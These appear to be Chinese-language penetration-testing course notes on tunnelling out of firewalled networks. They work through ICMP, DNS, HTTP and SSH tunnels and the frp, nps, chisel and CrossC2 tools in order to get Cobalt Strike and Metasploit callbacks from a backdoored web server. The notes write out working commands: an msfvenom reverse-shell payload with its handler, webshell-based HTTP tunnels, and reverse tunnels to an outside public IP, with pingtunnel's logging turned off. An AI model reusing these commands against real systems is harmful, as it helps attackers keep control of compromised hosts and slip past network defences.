

学隧道前先搞清楚
0、不是有互联网才叫出网
1、C2 常见上线采用的协议
2、常见的协议层出网判断
常用的隧道技术:
利用各种隧道技术,以网络防火墙允许的协议,
绕过网络防火墙的封锁,实现访问被封锁的目标网络
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS隧道
协议&判断命令
协议 | 判断命令 |
---|---|
ICMP | ping ip or domain |
HTTP | curl ip or domain |
SSH | ssh ip or domain |
DNS | nslookup domain |
TCP | telnet ip port |
… | ….. |
A ping B 不通,B ping A 通了
A是你控制的主机 现在问 他icmp出网了吗?
B是你控制的主机 现在问 他icmp出网了吗 ?
答案:B出网,A没出网 因为出网是看出站规则 B能ping通A 说明它能出网,A不能ping通B,说明他禁ping了
Pingtunnel 是一种通过 IGMP 发送 TCP/UDP 流量的工具。
iox是端口转发和内网代理工具
场景1-出站–只让web进,icmp出

1.通过web上传后门,拿下网站权限

开启防火墙 只能扫到一个开放的80端口


关闭防火墙,就可以都扫出来


2.上传cs后门,由于防火墙开启,不能上线—说明出站有限制



3.尝试看什么协议可以出网


pingtunnel
./pingtunnel -type server
将本地的TCP端口6666流量转发到192.168.139.141:7777上面(TCP流量封装成icmp转发的)
pingtunnel -type client -l :6666-s 192.168.139.141 -t 192.168.139.141:7777 -tcp 1 -noprint 1 -nolog 1
cs:
127.0.0.1 6666(后门上线)
192.168.139.141 7777(监听上线)
-type client
:指定运行模式为客户端-l :6666
:本地监听端口为 6666-s 192.168.139.141
:指定服务器的 IP 地址-t 192.168.139.141:7777
:指定目标服务器的 IP 和端口-tcp 1
:启用 TCP 模式-noprint 1
:禁用打印输出-nolog 1
:禁用日志记录
这条命令的作用是:在本地监听 6666 端口,通过 pingtunnel 将流量转发到 192.168.139.141 的 7777 端口,使用 TCP 模式,并且不输出日志和打印信息。



127.0.0.1 6666–后门生成

192.168.139.141 7777–监听上线

cs上线

总结:http->转换成icmp封装出去 后门能出战

msf上线
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe -o msf.exe
监听器配置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
setl port 3344
run






场景2-入站–只让web进,DNS出



配置服务器



生成监听器生成后门,执行上线



场景3-出站–smb-开防火墙入站只445



cs上线并提权



获取密码凭证


抓取明文密码


端口扫描




横向移动







内网穿透–Pingtunel 配合 iox 代理 Socks 内网穿透
C2:
接收客户端传递的ICMP #-key 000000 设置密钥
./pingtunnel -type server -noprint 1 -nolog 1 -key 000000
将本地4455 转至 5566 端口
./iox proxy -l 4455 -l 5566
Web
将本地2222的TCP封装IMCP给192.168.139.141:4455
pingtunnel -type client -l 127.0.0.1:2222 -s 192.168.139.141 -t 192.168.139.141:4455 -tcp 1 -noprint 1 -nolog 1 -key 000000
建立 socks 节点绑定 3389 端口:
iox.exe proxy -r 127.0.0.1:2222




成功建立Socks5的节点

配置代理转发,实现穿透内容

成功访问


内网穿透–配合上线dnscat2(DNS)
内网穿透–HTTP隧道

情况1:入站只web,出站不限制
情况1:不能C2上线,能访问网站是80和443端口,但是端口是占用的,也就是说端口的借用的web协议,所以入站是web端口被占用,出站也有限制,这种情况就无法通过C2来控制软件,就可以使用webshell(web的控制软件)来控制服务器,也就是利用网站的后门来控制web服务器
第一步:先理解 “80 和 443 端口被占用”
服务器上的 “端口” 就像现实中的 “门”,每个门(端口)同一时间只能被一个 “程序”(服务)占用,负责处理从这个门进来的 “流量”(数据)。
- 80 端口是 HTTP 协议的 “专属门”,443 是 HTTPS 协议的 “专属门”。
- 当服务器上有正常的 Web 服务(比如 Nginx、Apache、IIS)时,这些 Web 服务会 “占用” 80/443 端口 —— 也就是说,这两个门已经被 Web 服务 “把守” 了,所有从 80/443 端口进来的流量,都会先被 Web 服务接收和处理(比如展示网页、处理用户的登录请求等)。
第二步:“借用 web 协议” 是什么意思?
这里的 “借用” 指的是:其他程序不能直接占用 80/443 端口,只能 “伪装” 成 Web 服务能理解的流量(HTTP/HTTPS 协议),通过 Web 服务已经占用的端口传输数据。 比如正常用户访问网站时,浏览器发送的是 HTTP 请求(符合 Web 协议),Web 服务会处理并返回网页;而如果想通过 80/443 端口传输其他数据(比如控制指令),就必须把这些数据 “包装” 成 HTTP/HTTPS 的格式(比如放在 URL 参数、POST 内容里),让 Web 服务认为这是 “正常的网页请求”,从而允许通过。
第三步:“入站是 web 端口被占用” 为什么会导致 C2 无法上线?
“入站” 指的是 “从外部发送到服务器的流量”。C2 上线的核心是 “服务器上的恶意程序(C2 客户端)要和攻击者的 C2 服务器建立连接”,这个连接通常需要 “端口” 来传输数据。
但问题在于:
- 如果 C2 想通过 80/443 端口让服务器上的客户端 “接收指令”(即 C2 客户端监听 80/443 端口),但这两个端口已经被 Web 服务占用了 —— 就像 “门被别人占了,你挤不进去”,C2 客户端无法 “监听” 这两个端口,自然收不到攻击者的指令。
- 如果 C2 想让服务器上的客户端主动 “向外连接”(比如反向连接到攻击者的 80/443 端口),但如果服务器的 “出站规则” 有限制(比如只允许 Web 服务向外发起 HTTP/HTTPS 请求,不允许其他程序随便连接外部),C2 客户端的出站连接会被拦截,也无法上线。


HTTP 隧道搭建内网穿透:(解决目标出站限制做信息收集)
-项目 Neo-reGeorg
https://github.com/L-codes/Neo-reGeorg
1、设置密码生成(aspxlashxljspljspxlphp)并上传
python neoreg.py generate -k password
2、使用 neoreg.py连接 WEB服务器,在本地建立连接
python neoreg.py -k password -u http://xx/tunnel.php
3、Proxifier添加 socks5 服务器并配置连接规则测试
同类推荐项目:
https://github.com/nccgroup/ABPTTS
1、设置密码生成(aspxlashxljspljspxlphp)并上传




2、使用 neoreg.py连接 WEB服务器,在本地建立连接
python neoreg.py -k password -u http://192.168.139.222/tunnel.php

3、Proxifier添加 socks5 服务器并配置连接规则测试


-哥斯拉&冰蝎
哥斯拉:HttpProxy




冰蝎:内网穿透



访问127.0.0.1:2222访问的是192.168.2.22的内容





总结
http隧道 内网穿透 信息收集:
1、端口映射 本地访问远程端口数据 主动转发出来
2、建立支持socks代理协议 连接socks对内网穿透
由于出站有限制 所以内网的数据通过web出不来,需要通过http隧道进行一个转发

情况2:入站只web,出站不限制


反向上线web



由于是映射到本地的1122端口,所以连接本地192.168.139.1:1122

由于入站没有限制 可以直接正向连接

内网穿透–SSH隧道

隧道技术:不出网(出战问题 能出哪些协议 利用协议做隧道)
1、内网穿透 解决内网的网络防护导致的网络不可达 信息收集打点问题
2、C2上线
icmp dns---内网穿透、C2上线
http --C2上线
ssh --内网穿透
1、环境复现搭建:

2、适用场景:
内网主机防火墙限制了出网协议,可以利用SSH转发流量实现内网穿透
3、需要条件:(解决目标出站限制)
被控主机需支持 SSH协议(windows 需要安装支持软件)
将2.22 上 80端口流量转发到xx.xx上的 1234端口
ssh -CfNg -R 1234:192.168.2.22:80 root@xx.xx.xx.xx
curl http://127.0.0.1:1234
复现
跳板机–流量转发


攻击机成功访问

也可转发2.11网段


控制上线-插件-Linux&Mac&Ios&Android
https://github.com/gloxec/CrossC2
面向 Linux Mac IOS Android 系统上线支持 1、插件使用 2、命令使用
使用参考: https://gloxec.github.io/CrossC2/zh_cn/
目前版本只支持反向的 https 和正向的 tcp
1、下载对应版本加载器和 CNA 插件 2、上传加载器文件和本地加载 CNA 插件
3、修改 CNA 插件配置路径及上传 Key 文件
4、使用命令或插件绑定 HTTPs 监听器生成





生成linux后门



Frp
Frp 是专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP节点的中转暴露到公网。



frp服务端

frp客户端


如何利用这种情况实现c2上线
监听器1∶47.98.210.85 6666端口
监听器2∶192.168.139.141 5555端口
生成后门用监听器1
后门->47.98.210.85:6666->frp 192.168.139.141 5555->监听器2->正常上线






信息收集:
1、建立socks节点做信息收集
cs上线也可以做信息收集
但是有时候cs不能上线,就可以说使用frp上线
2、端口映射转发做信息收集
1、建立socks节点做信息收集

frp连接上线






Proxifire连接


总结:实战场景
拿到webshe11但是上线不了cs(出入站阻止) 要对主机的内部网络进行信息收集打点
无法采用cs上面的socks节点去操作 上传至控制机器 frpc 创建socks节点
条件:出站没限制
相当于还是让被控机去访问内部网络
客户端->47.98.210.85:7000->47.98.210.85:6000(socks)->
即:客户端(有2网段)连接47.98.210.85建立的socks隧道,本机直接连接socks隧道就可以访问2网段了
2、端口映射转发做信息收集




Nps
Nps 是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持 tcp、udp 流量转发,可支持任何 tcp、udp 上层协议(访问内网网站、本地支付接口调试、ssh 访问.远程桌面,DNS 解析等),此外还支持内网http代理、内网 socks5 代理、p2p等,并带有功能强大的 web 管理端。
配置文件:

默认是8080端口 默认账户密码:admin/123

连接客户端




设置隧道–TCP(web->服务器6666->客户端kali5555->上线cs)



设置隧道–SOCKS5(web->服务器1233 通过proxifire访问走1233访问到web 从而访问web的2网段内网)







端口转发(web->服务器建立nps连接 将192.168.2.22的80端口连接到服务器的8899端口)


HTTP隧道




Chisel(相对于Frp、Nps更冷门,所以做免杀更容易)
Chisel 是一个快速 TCP/UDP 隧道,通过 HTTP 传输,通过 SSH 保护。单个可执行文件包括客户端和服务器。用 Go(golang)编写。Chisel 主要用于穿过防火墙,但也可用于为网络提供安全端点。
内网穿透 C2 上线
建立服务端监听 1234
./chisel server -p 1234 --reverse
建立客户端连接服务端后将141上5555 给到服务端 6666上
./chisel client -v 47.98.210.85:1234 R:0.0.0.0:6666:192.168.139.141:5555




内网穿透信息收集
1、建立 socks 节点(入站没限制采用)
建立服务端监听 1090
chisel server -p 1090 --socks5
建立客户端连接服务端后将使用 socks 服务
chisel client 47.98.210.85:1090 socks &


使用浏览器插件或者proxifer连接服务器的1090端口连接socks5
2、主动转发数据(出站没限制采用)
建立服务端监听 1234
./chisel server -p 1234 --reverse
建立客户端连接服务端后将 141上5555 给到服务端 6666 上
./chisel client -v 47.98.210.85:1234 R:0.0.0.0:8888:192.168.2.22:80


